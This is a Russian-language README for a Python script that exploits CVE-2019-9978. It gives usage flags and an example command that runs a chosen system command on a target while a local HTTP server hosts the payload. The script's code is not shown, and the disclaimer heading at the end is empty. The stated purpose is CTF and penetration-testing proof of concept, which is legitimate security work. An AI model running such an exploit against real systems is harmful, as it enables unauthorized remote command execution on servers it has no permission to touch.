cve-2019-9978

Это скрипт, позволяющий эксплуатировать уязвимость CVE-2019-9978 простым способом, предназначенный для использования в соревнованиях Capture The Flag (CTF) или в качестве доказательства концепции для тестирования на проникновение.

Предварительные требования

• Python 3
• Библиотека Requests (Установка: pip install requests)

Использование

1. Склонируйте или скачайте этот репозиторий.
2. Откройте терминал и перейдите в каталог скрипта.
3. Запустите скрипт со следующими параметрами:

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` or `--url`: Set the target URL to deliver the payload.
   - `-c` or `--command`: Set the system command to run on the target system.
   - `-l` or `--local`: Set the IP and port for the HTTP server (optional).

4. Скрипт запускает HTTP-сервер, отправляет полезную нагрузку на цель и отображает результат в терминале.

Пример

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345

Отказ от ответственности